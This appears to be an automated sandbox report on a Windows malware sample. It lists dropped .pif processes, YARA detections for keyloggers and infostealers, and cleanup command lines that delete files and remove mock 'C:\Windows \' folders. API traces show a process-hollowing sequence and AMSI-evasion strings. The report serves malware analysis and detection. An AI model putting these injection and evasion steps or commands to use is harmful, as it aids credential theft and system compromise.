Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:24:59
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\Cobsfhiy.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cobsfhiy.PIF"
Imagebase:	0x400000
File size:	1'297'920 bytes
MD5 hash:	DC614075998696B44ADA8A2EED23FC03
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:25:00
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\yihfsboC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\yihfsboC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	04:03:08
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\Cobsfhiy.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cobsfhiy.PIF"
Imagebase:	0x400000
File size:	1'297'920 bytes
MD5 hash:	DC614075998696B44ADA8A2EED23FC03
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:03:10
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\yihfsboC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\yihfsboC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:03:12
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:03:17
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:03:17
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.1%
Total number of Nodes:	1649
Total number of Limit Nodes:	19

Executed Functions

Function 02B28D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

GetThreadContext.KERNEL32(0000086C,02B97424,ScanString,02B973A8,02B2A93C,UacInitialize,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,UacInitialize,02B973A8), ref: 02B29602

Part of subcall function 02B28400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Part of subcall function 02B28670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Part of subcall function 02B27A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

SetThreadContext.KERNEL32(0000086C,02B97424,ScanBuffer,02B973A8,02B2A93C,ScanString,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,00000870,003EAFF8,02B974FC,00000004,02B97500), ref: 02B2A317
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(0000086C,00000000,0000086C,02B97424,ScanBuffer,02B973A8,02B2A93C,ScanString,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,00000870,003EAFF8,02B974FC), ref: 02B2A324

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Strings

BCryptRegisterProvider, xrefs: 02B2A59B
BCryptQueryProviderRegistration, xrefs: 02B2A587
OpenSession, xrefs: 02B28DA9, 02B291CC, 02B2927E, 02B2A64F, 02B2A795
UacInitialize, xrefs: 02B29032, 02B29393, 02B29512, 02B29616, 02B29A12, 02B29B86, 02B2A330
NtSetSecurityObject, xrefs: 02B2A88F
ScanString, xrefs: 02B28E02, 02B28FAD, 02B2915B, 02B29583, 02B29769, 02B298F0, 02B29D7D, 02B29F3B, 02B2A0AB, 02B2A21E, 02B2A509, 02B2A5B6
I_QueryTagInformation, xrefs: 02B2A700
BCryptVerifySignature, xrefs: 02B2A573
MiniDumpReadDumpStream, xrefs: 02B2A728
dbgcore, xrefs: 02B2A719, 02B2A72D
Initialize, xrefs: 02B290EA, 02B296F8, 02B2987F, 02B29C68, 02B29ECA, 02B2A03A, 02B2A1AD, 02B2A412, 02B2A743
MiniDumpWriteDump, xrefs: 02B2A714
advapi32, xrefs: 02B2A705
ScanBuffer, xrefs: 02B28ECC, 02B28F54, 02B292EF, 02B29404, 02B294A1, 02B297DA, 02B29961, 02B29AF4, 02B29CD9, 02B29DEE, 02B29FAC, 02B2A11C, 02B2A28F, 02B2A483, 02B2A6A1, 02B2A7E7
NtOpenProcess, xrefs: 02B2A8A3
sppc, xrefs: 02B29376
bcrypt, xrefs: 02B2A578, 02B2A58C, 02B2A5A0
SLGetLicenseInformation, xrefs: 02B2935F
UacScan, xrefs: 02B28E73, 02B2908B, 02B29687, 02B29A83, 02B29BF7, 02B2A3A1, 02B2A839
NtReadVirtualMemory, xrefs: 02B2A620
ntdll, xrefs: 02B2A625, 02B2A639, 02B2A6F1, 02B2A894, 02B2A8A8
NtOpenObjectAuditAlarm, xrefs: 02B2A634, 02B2A6EC

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: 720860bb1234922ffa36ce8f489cf3a1d048504d3dea43fbd1c7f3f99b40de82
Instruction ID: d31b7ef75b706298cf3e94f47eca147920a51754cd1f8958eb4517a3c0f01932
Opcode Fuzzy Hash: 720860bb1234922ffa36ce8f489cf3a1d048504d3dea43fbd1c7f3f99b40de82
Instruction Fuzzy Hash: 30E2E175A502289FDB11FB64DD80BCE73BAAF85300F9041F1E149AB215DE30AE89DF56

Function 02B28D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B28788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

GetThreadContext.KERNEL32(0000086C,02B97424,ScanString,02B973A8,02B2A93C,UacInitialize,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,UacInitialize,02B973A8), ref: 02B29602

Part of subcall function 02B28400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Part of subcall function 02B28670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Part of subcall function 02B27A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

BCryptRegisterProvider, xrefs: 02B2A59B
BCryptQueryProviderRegistration, xrefs: 02B2A587
OpenSession, xrefs: 02B28DA9, 02B291CC, 02B2927E, 02B2A64F, 02B2A795
UacInitialize, xrefs: 02B29032, 02B29393, 02B29512, 02B29616, 02B2A330
NtSetSecurityObject, xrefs: 02B2A88F
ScanString, xrefs: 02B28E02, 02B28FAD, 02B2915B, 02B29583, 02B29769, 02B298F0, 02B29D7D, 02B29F3B, 02B2A0AB, 02B2A21E, 02B2A509, 02B2A5B6
I_QueryTagInformation, xrefs: 02B2A700
BCryptVerifySignature, xrefs: 02B2A573
MiniDumpReadDumpStream, xrefs: 02B2A728
dbgcore, xrefs: 02B2A719, 02B2A72D
Initialize, xrefs: 02B290EA, 02B296F8, 02B2987F, 02B29C68, 02B29ECA, 02B2A03A, 02B2A1AD, 02B2A412, 02B2A743
MiniDumpWriteDump, xrefs: 02B2A714
advapi32, xrefs: 02B2A705
ScanBuffer, xrefs: 02B28ECC, 02B28F54, 02B292EF, 02B29404, 02B294A1, 02B297DA, 02B29961, 02B29AF4, 02B29CD9, 02B29DEE, 02B29FAC, 02B2A11C, 02B2A28F, 02B2A483, 02B2A6A1, 02B2A7E7
NtOpenProcess, xrefs: 02B2A8A3
sppc, xrefs: 02B29376
bcrypt, xrefs: 02B2A578, 02B2A58C, 02B2A5A0
SLGetLicenseInformation, xrefs: 02B2935F
UacScan, xrefs: 02B28E73, 02B2908B, 02B29687, 02B29A83, 02B29BF7, 02B2A3A1, 02B2A839
NtReadVirtualMemory, xrefs: 02B2A620
ntdll, xrefs: 02B2A625, 02B2A639, 02B2A6F1, 02B2A894, 02B2A8A8
NtOpenObjectAuditAlarm, xrefs: 02B2A634, 02B2A6EC

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: 72212119afbe153ccbdaaa360a80b64b4f411aa58c908872cd98406c1fe6e596
Instruction ID: b3f93cdda9a590f44b4faf4aaec77923743a965370e8e6dd3ad7c23c9ac1f0af
Opcode Fuzzy Hash: 72212119afbe153ccbdaaa360a80b64b4f411aa58c908872cd98406c1fe6e596
Instruction Fuzzy Hash: 4CE2D175A502289FDB11FB64DD80BCE73BAEF85300F9041E1E149AB215DE30AE89DF56

Function 02B15ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B10000,02B3E790), ref: 02B15AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B15B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B15B8B
RegQueryValueExA.ADVAPI32(?,02B15D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001), ref: 02B15BA9
RegCloseKey.ADVAPI32(?,02B15BD8,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B15BCB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B15BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B15BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B15BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B15C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B15CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B15CEB

Strings

Software\Borland\Locales, xrefs: 02B15AFC, 02B15B1A
Software\Borland\Delphi\Locales, xrefs: 02B15B38

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 66f81553ab7cb0b43f42c09deed6479d5bb5a711b9a0086ae204ed81fc399989
Instruction ID: 7a2ce530077188beb64fcaa329d42f8f529dd1c126a4d666c34e84e99597f46f
Opcode Fuzzy Hash: 66f81553ab7cb0b43f42c09deed6479d5bb5a711b9a0086ae204ed81fc399989
Instruction Fuzzy Hash: CB518771A5025C7AFB35DBA88C46FEFB7ADDB44744FC001E1AB44E6181D7749A448FA0

Function 02B2894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Strings

bcrypt, xrefs: 02B2895F
BCryptVerifySignature, xrefs: 02B28973

Memory Dump Source

